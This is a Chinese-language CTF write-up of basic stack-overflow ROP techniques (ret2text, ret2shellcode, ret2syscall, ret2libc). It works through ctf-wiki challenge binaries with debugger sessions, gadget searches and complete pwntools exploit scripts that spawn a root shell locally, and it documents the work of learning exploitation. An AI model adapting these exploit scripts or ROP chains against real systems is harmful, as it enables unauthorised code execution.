PWN - 基本ROP

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/

这里用到的所有题目：https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/user-mode/stackoverflow/

HackTheBox - Ellingson 碰到缓冲区溢出，无从下手，故有此篇

ret2text

ret2text 即控制程序执行程序本身已有的的代码 (即， .text 段中的代码)

收查看程序保护机制

➜  ret2text checksec ret2text          
[*] '/root/Desktop/Test/StackBufferOverFlow/ret2text/ret2text'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

仅仅开启NX ，并且是 32 位程序

gets函数，很明显存在缓冲区溢出漏洞，并且没有做边界保护

并且secure函数中有 /bin/sh

void secure()
{
  unsigned int v0; // eax
  int input; // [esp+18h] [ebp-10h] BYREF
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf(&unk_8048760, &input);
  if ( input == secretcode )
    system("/bin/sh");
}

定位system函数

pwndbg> disas secure
Dump of assembler code for function secure:
   0x080485fd <+0>:     push   ebp
   0x080485fe <+1>:     mov    ebp,esp
   0x08048600 <+3>:     sub    esp,0x28
   0x08048603 <+6>:     mov    DWORD PTR [esp],0x0
   0x0804860a <+13>:    call   0x8048470 <time@plt>
   0x0804860f <+18>:    mov    DWORD PTR [esp],eax
   0x08048612 <+21>:    call   0x80484b0 <srand@plt>
   0x08048617 <+26>:    call   0x80484e0 <rand@plt>
   0x0804861c <+31>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804861f <+34>:    lea    eax,[ebp-0x10]
   0x08048622 <+37>:    mov    DWORD PTR [esp+0x4],eax
   0x08048626 <+41>:    mov    DWORD PTR [esp],0x8048760
   0x0804862d <+48>:    call   0x80484f0 <__isoc99_scanf@plt>
   0x08048632 <+53>:    mov    eax,DWORD PTR [ebp-0x10]
   0x08048635 <+56>:    cmp    eax,DWORD PTR [ebp-0xc]
   0x08048638 <+59>:    jne    0x8048646 <secure+73>
   0x0804863a <+61>:    mov    DWORD PTR [esp],0x8048763
   0x08048641 <+68>:    call   0x8048490 <system@plt>
   0x08048646 <+73>:    leave
   0x08048647 <+74>:    ret
End of assembler dump.

在0x0804863a处

接下来计算偏移量，使用 pwndbg

反编译main找到gets 0x080486ae

pwndbg> disas main
Dump of assembler code for function main:
   0x08048648 <+0>:     push   ebp
   0x08048649 <+1>:     mov    ebp,esp
   0x0804864b <+3>:     and    esp,0xfffffff0
   0x0804864e <+6>:     add    esp,0xffffff80
   0x08048651 <+9>:     mov    eax,ds:0x804a060
   0x08048656 <+14>:    mov    DWORD PTR [esp+0xc],0x0
   0x0804865e <+22>:    mov    DWORD PTR [esp+0x8],0x2
   0x08048666 <+30>:    mov    DWORD PTR [esp+0x4],0x0
   0x0804866e <+38>:    mov    DWORD PTR [esp],eax
   0x08048671 <+41>:    call   0x80484d0 <setvbuf@plt>
   0x08048676 <+46>:    mov    eax,ds:0x804a040
   0x0804867b <+51>:    mov    DWORD PTR [esp+0xc],0x0
   0x08048683 <+59>:    mov    DWORD PTR [esp+0x8],0x1
   0x0804868b <+67>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048693 <+75>:    mov    DWORD PTR [esp],eax
   0x08048696 <+78>:    call   0x80484d0 <setvbuf@plt>
   0x0804869b <+83>:    mov    DWORD PTR [esp],0x804876c
   0x080486a2 <+90>:    call   0x8048480 <puts@plt>
   0x080486a7 <+95>:    lea    eax,[esp+0x1c]
   0x080486ab <+99>:    mov    DWORD PTR [esp],eax
   0x080486ae <+102>:   call   0x8048460 <gets@plt>
   0x080486b3 <+107>:   mov    DWORD PTR [esp],0x80487a4
   0x080486ba <+114>:   call   0x8048450 <printf@plt>
   0x080486bf <+119>:   mov    eax,0x0
   0x080486c4 <+124>:   leave
   0x080486c5 <+125>:   ret
End of assembler dump.

在gets处设置断点

pwndbg> b *0x080486ae
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.

run然后观察栈帧

pwndbg> run                 
Starting program: /root/Desktop/Test/StackBufferOverFlow/ret2text/ret2text 
warning: Unable to find libthread_db matching inferior''s thread library, thread debugging will not be available.
There is something amazing here, do you know anything?
                                                         
Breakpoint 1, 0x080486ae in main () at ret2text.c:24
warning: 24     ret2text.c: No such file or directory
Warning: Avoided exploring possible address 0xfffdade8.                                                                                                                                                                             
You can explicitly explore it with `vmmap-explore 0xfffda000`
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────────────────
 EAX  0xffffcfac ◂— 0   
 EBX  0xf7f9ae14 ◂— 0x232d0c /* '\x0c-#' */                                                                                                                                                                                         
 ECX  0xf7f9c8e0 ◂— 0
 EDX  0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0
 ESI  0x80486d0 (__libc_csu_init) ◂— push ebp
 EBP  0xffffd018 ◂— 0
 ESP  0xffffcf90 —▸ 0xffffcfac ◂— 0
 EIP  0x80486ae (main+102) —▸ 0xfffdade8 ◂— 0xfffdade8

可以看到EBP =0xffffd018 ，ESP =0xffffcfa

pwndbg> p/d 0xffffd018 - 0xffffcfac
$1 = 108

编写exp

(pwn) ➜  ret2text cat exp.py
from pwn import *

sh = process('./ret2text')
target = 0x0804863a
payload = b'A' * 112 + p32(target)
sh.sendline(payload)
sh.interactive()

(pwn) ➜  ret2text python exp.py
[+] Starting local process './ret2text': pid 3343
[*] Switching to interactive mode
There is something amazing here, do you know anything?
Maybe I will tell you next time !$ whoami
root
$

ret2shellcode

ret2shellcode，即控制程序执行 shellcode 代码。通常情况下，shellcode 需要我们自行编写，即此时我们需要自行向内存中填充一些可执行的代码。查看保护机制，未开启任何保护

➜  ret2shellcode checksec ret2shellcode 
[*] '/root/Desktop/Test/StackBufferOverFlow/ret2shellcode/ret2shellcode'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes

依旧是gets ，存在缓冲区溢出漏洞

但是这次并没有其他函数，也没有 /bin/sh 的身影

这里使用strncpy将s传递到buf2

我们调试一下程序，查看bss区域是否拥有读写权限

 0x804a000  0x804b000 rw-p     1000   1000 ret2shellcode

那么思路就是：shellcode +（偏移值 - len(shellcode)）* A + buf2add

计算偏移量

首先生成200长度但是每一段都是唯一的字符

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

返回地址被daab 覆盖上去了，再计算偏移量

pwndbg> cyclic -l daab
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112

偏移量和buf2地址我们都知道了，直接编写payload

from pwn import *
shellcode = asm(shellcraft.sh())
shellcode_pad = shellcode + (112 - (len(shellcode))) * b'A'
buf2_add = 0x804a080
sh = process('./ret2shellcode')
sh.sendline(shellcode_pad + p32(buf2_add))
sh.interactive()

root@sunset-virtual-machine:~# python3 exp.py 
[+] Starting local process './ret2shellcode': pid 58718
[*] Switching to interactive mode
No system for you this time !!!
bye bye ~$ id
uid=0(root) gid=0(root) groups=0(root)

ret2syscall

ret2syscall，即控制程序执行系统调用，获取 shell。

查看程序，32位，静态程序，没有使用动态链接库

➜  ret2syscall file ret2syscall 
ret2syscall: ELF 32-bit LSB executable, Intel i386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped

查看保护机制，栈不可执行，无法使用ret2shellcode

➜  ret2syscall checksec ret2syscall            
[*] '/root/Desktop/Test/StackBufferOverFlow/ret2syscall/ret2syscall'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

这里还涉及到系统调用，一般我们通过一下系统调用来获得shell

execve("/bin/sh",NULL,NULL)

当遇到32位程序时，需要使得：

系统调用号，即 eax 应该为 0xb（0xb 为 execve 对应的系统调用号）也就是11
第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。
第二个参数，即 ecx 应该为 0
第三个参数，即 edx 应该为 0

最后将系统调用和参数都填入寄存器后，我们再让系统触发 0x80 号中断（int 0x80）

Linux对系统调用的调用必须通过执行int $0x80汇编指令，这条指令会产生向量为128的编程异常

IDA 反编译程序，依旧是gets ，存在缓冲区溢出漏洞

shift + F12 查看程序字符串，能看到 /bin/sh 我们刚好可以利用

但是因为开启了 NX 我们无法往栈上写，写了也无法执行，也不存在system("/bin/sh") 代码段，程序是静态的，所以 ret2shellcode ret2text ret2libc 都无法使用，但是存在/bin/sh 代码片段，所以我们可以尝试 ret2syscall

通过ROPgadget 查找需要用到寄存器指令

pop eax ; ret 地址为 0x080bb196

➜  ret2syscall ROPgadget --binary ret2syscall --only "pop|ret" | grep eax
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
**0x080bb196 : pop eax ; ret**
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

发现一串连续的将ebx~edx弹出的pop edx ; pop ecx ; pop ebx ; ret ，地址为0x0806eb90

➜  ret2syscall ROPgadget --binary ret2syscall --only "pop|ret" | grep ebx
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
**0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret**

命令字段 0x080be408 地址

➜  ret2syscall ROPgadget --binary ret2syscall --string "/bin/sh"         
Strings information
============================================================
0x080be408 : /bin/sh

中断代码地址 0x08049421

➜  ret2syscall ROPgadget --binary ret2syscall --only "int"   
Gadgets information
============================================================
0x08049421 : int 0x80
0x080890b5 : int 0xcf

计算偏移量，为112

pwndbg> cyclic 200
aaaabaaacaaa...waabxaabyaab

pwndbg> run
Starting program: /root/Desktop/Test/StackBufferOverFlow/ret2syscall/ret2syscall 
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
aaaabaaacaaadaaaeaaafaaagaaaabuaabvaabwaabxaabyaab

Program received signal SIGSEGV, Segmentation fault.                  
0x62616164 in ?? ()                                                                                               
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA                                                                  
───────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─
 ECX  0xfbad2288                                                                                                  
 EDX  0x80eb4e0 (_IO_stdfile_0_lock) ◂— 0                                                                         
 EDI  0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8067b10 (__stpcpy_sse2) ◂— mov edx, dword ptr [esp + 4]
 ESI  0             
 ESP  0xffffd100 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
 EIP  0x62616164 ('daab')
─────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────
Invalid address 0x62616164

pwndbg> cyclic -l daab
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112

使用代码块绘制的利用链

           |-----------------------------| 高地址
           | ...                         |
           |-----------------------------|
           | int_0x80_addr               |  <-- ret from pop_..._ret
           |-----------------------------|
           | bin_sh_addr                 |  <-- pop into ebx
           |-----------------------------|
           | 0x0                         |  <-- pop into ecx
           |-----------------------------|
           | 0x0                         |  <-- pop into edx
           |-----------------------------|
           | pop_edx_ecx_ebx_ret_addr    |  <-- ret from pop_eax_ret
           |-----------------------------|
           | 0xb                         |  <-- pop into eax
           |-----------------------------|
           | pop_eax_ret_addr            |  <-- Overwritten return address
   ebp     |-----------------------------|
           | ...                         |
           |-----------------------------|
   buf ->  | gets buffer start           |
   esp     |-----------------------------| 低地址

编写EXP

from pwn import *

pop_eax_ret_addr = 0x080bb196
pop_edx_ecx_ebx_addr = 0x0806eb90
bin_sh_addr = 0x080be408
int_0x80_addr = 0x08049421

sh = process('./ret2syscall')
sh.sendline(b'A'*112 + p32(pop_eax_ret_addr) + p32(0xb) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(0) + p32(bin_sh_addr) + p32(int_0x80_addr))
sh.interactive()

(pwn) ➜  ret2syscall python exp.py
[+] Starting local process './ret2syscall': pid 2825
[*] Switching to interactive mode
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
$ whoami
root

ret2libc

ret2libc 即控制函数的执行 libc 中的函数，通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。

其中 libc 指的是C 标准库（standard C library）的实现，通常是 /lib/x86_64-linux-gnu/libc.so.6 或 /lib/i386-linux-gnu/libc.so.6

libc库是Linux下的C函数库，而libc库中存放的就是这些函数的偏移地址，所以只要确定了libc库的版本，就能知道函数的偏移地址，但是我们这里在本地运行的样本，所以可以直接忽视。

ret2libc1

使用 IDA 反编译，gets存在缓冲区溢出漏洞

secure 中的 system被修改了，所以无法使用ret2text

32 位程序，并且调用动态链接库

➜  ret2libc file ret2libc1         
ret2libc1: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped

NX 启动，所以ret2shellcode 也无法使用

➜  ret2libc checksec ret2libc1 
[*] '/root/Desktop/Test/StackBufferOverFlow/ret2libc/ret2libc1'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

因为这里用了动态链接库，所以优先使用 ret2libc

字符串中能看到 /bin/sh 08048720

尝试寻找 system函数，也找到了08048460

计算偏移值（和上边一样的操作）

pwndbg> cyclic -l daab
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112

(pwn) ➜  ret2libc cat exp.py 
from pwn import *

system_plt_addr = 0x08048460
bin_sh_addr = 0x8048720
sh = process('./ret2libc1')
sh.sendline(112 * b'A' + p32(system_plt_addr) + 4 * b'A' + p32(bin_sh_addr))
sh.interactive()

可以看到为什么要加上 4 * b'A' ，因为这是给system的假的返回地址

           | ... higher addresses ...   |
           +----------------------------+
           | p32(bin_sh_addr)           | <-- (被我们写入) system 的参数
           +----------------------------+
           | 4 * b'A' (0x41414141)      | <-- (被我们写入) system 的假返回地址
           +----------------------------+
           | p32(system_plt_addr)       | <-- (被我们写入) 覆盖了 main 的返回地址
           +----------------------------+
           | 4 字节的 'A'               | <-- (被我们写入) 覆盖了 old EBP
           +----------------------------+
           | 108 字节的 'A'             | \
           | ...                        |  |
           | 'A'                        |  } 填充了整个 buffer 和额外的空间
           | 'A'                        | /
           +----------------------------+ <-- buffer 的起始地址
           | ... lower addresses ...    |

(pwn) ➜  ret2libc python exp.py
[+] Starting local process './ret2libc1': pid 3166
[*] Switching to interactive mode
RET2LIBC >_<
$ whoami
root

ret2libc2

依旧是 gets ，存在缓冲区溢出漏洞

checksec以及文件类型，和ret2libc1基本没差

(pwn) ➜  ret2libc checksec ret2libc1
[*] '/root/Desktop/Test/StackBufferOverFlow/ret2libc/ret2libc1'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes
(pwn) ➜  ret2libc file ret2libc2         
ret2libc2: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=83535a471d9ef90c3d5ff7f077944fb6021787a1, with debug_info, not stripped

字符串中找不到 /bin/sh了

system 函数还在 0x08048490

所以需要我们构造 /bin/sh 0x08048480

可以看到还存在gets 0x08048460

我们可以多调用一次gadget ，所以我们要找到一片可读写的缓冲区

buf2区域刚好可以 0x0804A080

此时我们还要保持堆栈平衡，也就是gets执行完时，gets的返回地址会处于栈顶，但是接下来我们调用system函数，所以我们需要在返回地址+4(就是要把buf清理掉，让ROP链指向下一条也就是system)，所以这里可以寻找 pop xxx ;ret 或者 add esp 4; ret

ESP --> | p32(pop_ebx_addr) |  <-- gets函数的“返回地址”
        +-------------------+
        |  p32(buf2_addr)   |  <-- gets函数的参数（gets写入后，我们需要将其弹出）
        +-------------------+
        | p32(libc_system_addr) |
        +-------------------+
        |      b'B'*4       |
        +-------------------+
        |  p32(buf2_addr)   |
        +-------------------+

使用ROPgadget来寻找0x0804843d 就符合

(pwn) ➜  ret2libc ROPgadget --binary ret2libc2 --only "pop|ret"
Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret

计算偏移值，也和上边一样是112

from pwn import *

gets_plt_addr = 0x08048460
pop_ebx_ret_addr = 0x0804843d
system_plt_addr = 0x08048490
buf2 = 0x0804A080

sh = process('./ret2libc2')
sh.sendline(112 * b'A' + p32(gets_plt_addr) + p32(pop_ebx_ret_addr) + p32(buf2) + p32(system_plt_addr) + 4 * b'A' + p32(buf2))
sh.sendline('/bin/sh')
sh.interactive()

(pwn) ➜  ret2libc python exp.py   
[+] Starting local process './ret2libc2': pid 4087
/root/Desktop/Test/StackBufferOverFlow/ret2libc/exp.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  sh.sendline('/bin/sh')
[*] Switching to interactive mode
Something surprise here, but I don't think it will work.
What do you think ?$ id
uid=0(root) gid=0(root) 组=0(root)

ret2libc3

依旧是gets

保护机制和文件类型

➜  ret2libc checksec ret2libc3
[*] '/root/Desktop/Test/StackBufferOverFlow/ret2libc/ret2libc3'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes
➜  ret2libc file ret2libc3
ret2libc3: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=c0ad441ebd58b907740c1919460c37bb99bb65df, with debug_info, not stripped

存在gets，可以用来构造/bin/sh

但是system函数也没了，所以我们要寻找system函数

找到system()函数和/bin/sh字符串在libc中的地址

首先获得一个函数的真实地址，例如：__libc_start_main，puts
得到真实地址后，根据最后三位即可得到 libc 版本
得到 libc 版本后就可以很容易确定获得的真实函数的偏移地址（这里假设puts）
计算基地址，基地址 = puts 函数真实地址 - puts 函数偏移地址
得到 libc 版本后获取 system 地址与 /bin/sh 的偏移地址
根据真实地址 = 基地址 + 偏移地址
再次执行源程序
触发栈溢出执行 system(‘/bin/sh’)

编写脚本泄露libc_start_main的真实地址

from pwn import *
e = ELF('./ret2libc3')
sh = process('./ret2libc3')
puts_plt_addr = e.plt['puts']
libc_start_main_got_addr = e.got['__libc_start_main']
main_addr = e.symbols['main']

print('泄露 libc_start_main_got_addr 并返回到 main')
payload1 = b'A' * 112 + p32(puts_plt_addr) + p32(main_addr) + p32(libc_start_main_got_addr)
sh.sendlineafter(b'Can you find it !?',payload1)
libc_start_main_real_addr = u32(sh.recv()[0:4])
print(f"libc_start_main_real_addr:{hex(libc_start_main_real_addr)}")

再下一步我们要得到 libc版本和基地址以及system 函数和/bin/sh字符串的地址

from pwn import *
from LibcSearcher import *
e = ELF('./ret2libc3')
sh = process('./ret2libc3')
puts_plt_addr = e.plt['puts']
libc_start_main_got_addr = e.got['__libc_start_main']
main_addr = e.symbols['main']

print('泄露 libc_start_main_got_addr 并返回到 main')
payload1 = b'A' * 112 + p32(puts_plt_addr) + p32(main_addr) + p32(libc_start_main_got_addr)
sh.sendlineafter(b'Can you find it !?',payload1)
libc_start_main_real_addr = u32(sh.recv()[0:4])
print(f"libc_start_main_real_addr:{hex(libc_start_main_real_addr)}")

print('得到 libc 版本，并计算基地址和 system & /bin/sh 地址')
libc = LibcSearcher("__libc_start_main", libc_start_main_real_addr)
libcbase = libc_start_main_real_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('/bin/sh')
print(f'基地址:{libcbase},system地址:{system_addr},/bin/sh地址:{bin_sh_addr}')

这里吐槽一下LibcSearcher ，一直提示[+] No libc satisfies constraints. 貌似fork太久远了没更新

这里直接链接本地的libc库了，不使用LibcSearcher

from pwn import *
e = ELF('./ret2libc3')
libc = ELF("/lib32/libc.so.6")
sh = process('./ret2libc3')
puts_plt_addr = e.plt['puts']
libc_start_main_got_addr = e.got['__libc_start_main']
main_addr = e.symbols['main']

print('泄露 libc_start_main_got_addr 并返回到 main')
payload1 = b'A' * 112 + p32(puts_plt_addr) + p32(main_addr) + p32(libc_start_main_got_addr)
sh.sendlineafter(b'Can you find it !?',payload1)
libc_start_main_real_addr = u32(sh.recv()[0:4])
print(f"libc_start_main_real_addr:{hex(libc_start_main_real_addr)}")

print('计算基地址和 system & /bin/sh 地址')
libcbase = libc_start_main_real_addr - libc.sym['__libc_start_main']
system_addr = libcbase + libc.sym['system']
bin_sh_addr = libcbase + next(libc.search(b"/bin/sh"))
print(f'基地址:{hex(libcbase)},system地址:{hex(system_addr)},/bin/sh地址:{hex(bin_sh_addr)}')

所有参数我们都有了，就可以构造payload了

方案 1（这里仿照wiki上的写）：

from pwn import *
e = ELF('./ret2libc3')
p = process('./ret2libc3')
libc = ELF('/lib32/libc.so.6')

puts_plt_addr = e.plt['puts']
libc_start_main_addr = e.got['__libc_start_main']
main_addr = e.symbols['main']
payload1 = b'A' * 112 + p32(puts_plt_addr) + p32(main_addr) + p32(libc_start_main_addr)
p.sendlineafter("Can you find it !?", payload1)
libc_start_main_real_addr = u32(p.recv()[0:4])
print(f"libc_start_main_real_addr = {hex(libc_start_main_real_addr)}")

libcbase = libc_start_main_real_addr - libc.sym['__libc_start_main']
print(f"libcbase = {hex(libcbase)}")
system_real_addr = libcbase + libc.sym['system']
print(f"system_real_addr = {hex(system_real_addr)}")
bin_sh_addr = libcbase + next(libc.search(b"/bin/sh"))
print(f"bin_sh_addr = {hex(bin_sh_addr)}")
payload2 = b'A' * 104+ p32(system_real_addr) + b'A' * 4 + p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()

输出（失败了）：

(pwn) ➜  ret2libc python exp.py
[*] '/root/Desktop/Test/StackBufferOverFlow/ret2libc/ret2libc3'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes
[+] Starting local process './ret2libc3': pid 4574
[*] '/lib32/libc.so.6'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
/root/Desktop/Tools/pwn/lib/python3.13/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
libc_start_main_real_addr = 0x206f4e0a
libcbase = 0x206d010a
system_real_addr = 0x2072232a
bin_sh_addr = 0x20896f5c
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ id
[*] Process './ret2libc3' stopped with exit code -11 (SIGSEGV) (pid 4574)
[*] Got EOF while sending in interactive

方案 2（大佬通过puts而不是libc_start_main ，并且二次返回到的更早之前）：

from pwn import *
e = ELF('./ret2libc3')
p = process('./ret2libc3')
libc = ELF('/lib32/libc.so.6')

puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']
main_addr = e.symbols['_start']
payload1 = b'A' * 112 + p32(puts_plt_addr) + p32(main_addr) + p32(puts_got_addr)
p.sendlineafter("Can you find it !?", payload1)
puts_real_addr = u32(p.recv()[0:4])
print(f"puts_real_addr = {hex(puts_real_addr)}")

libcbase = puts_real_addr - libc.sym['puts']
print(f"libcbase = {hex(libcbase)}")
system_real_addr = libcbase + libc.sym['system']
print(f"system_real_addr = {hex(system_real_addr)}")
bin_sh_addr = libcbase + next(libc.search(b"/bin/sh"))
print(f"bin_sh_addr = {hex(bin_sh_addr)}")
payload2 = b'A' * 112 + p32(system_real_addr) + b'A' * 4 + p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()

输出（成功）：

(pwn) ➜  ret2libc python exp.py
[*] '/root/Desktop/Test/StackBufferOverFlow/ret2libc/ret2libc3'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes
[+] Starting local process './ret2libc3': pid 4630
[*] '/lib32/libc.so.6'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
/root/Desktop/Tools/pwn/lib/python3.13/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
puts_real_addr = 0xf7da72a0
libcbase = 0xf7d2b000
system_real_addr = 0xf7d7d220
bin_sh_addr = 0xf7ef1e52
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) 组=0(root)

方案3，修复wiki上的方案

不使用__libc_start_main 来获取第一个真实地址，而使用puts

(pwn) ➜  ret2libc cat exp.py
from pwn import *
e = ELF('./ret2libc3')
p = process('./ret2libc3')
libc = ELF('/lib32/libc.so.6')

puts_plt_addr = e.plt['puts']
libc_start_main_addr = e.got['puts']
main_addr = e.symbols['main']
payload1 = b'A' * 112 + p32(puts_plt_addr) + p32(main_addr) + p32(libc_start_main_addr)
p.sendlineafter("Can you find it !?", payload1)
libc_start_main_real_addr = u32(p.recv()[0:4])
print(f"libc_start_main_real_addr = {hex(libc_start_main_real_addr)}")

libcbase = libc_start_main_real_addr - libc.sym['puts']
print(f"libcbase = {hex(libcbase)}")
system_real_addr = libcbase + libc.sym['system']
print(f"system_real_addr = {hex(system_real_addr)}")
bin_sh_addr = libcbase + next(libc.search(b"/bin/sh"))
print(f"bin_sh_addr = {hex(bin_sh_addr)}")
payload2 = b'A' * 104+ p32(system_real_addr) + b'A' * 4 + p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()

输出（成功）

(pwn) ➜  ret2libc python exp.py
[*] '/root/Desktop/Test/StackBufferOverFlow/ret2libc/ret2libc3'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes
[+] Starting local process './ret2libc3': pid 6021
[*] '/lib32/libc.so.6'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
/root/Desktop/Tools/pwn/lib/python3.13/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
libc_start_main_real_addr = 0xf7d902a0
libcbase = 0xf7d14000
system_real_addr = 0xf7d66220
bin_sh_addr = 0xf7edae52
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) 组=0(root)

为什么第二次调用时使用104来填充栈而不是112？

因为程序真正的入口是_start，而不是main ，我们来看_start

调用main前会先调用and esp, 0FFFFFFF0h 来使堆栈平衡

可以在 _start 处断点，然后si来一步一步调试查看 esp 的变化

第一次我们运行payload1的时候是直接从_start开始运行的，会经过and esp, 0FFFFFFF0h 使堆栈平衡，使栈 +8 得到112 ，但是我们第二次执行payload2不是从_start开始，直接从main开始，and不执行，所以没有+8 ，所以此时esp到覆盖返回地址为112-8=104

https://xz.aliyun.com/news/14087

也可以说第一次运行 _start + main 一共 112 ，而第二次直接从main开始一共用了104

方案`1`失败的原因是

泄露的地址不正确（坏字符问题）

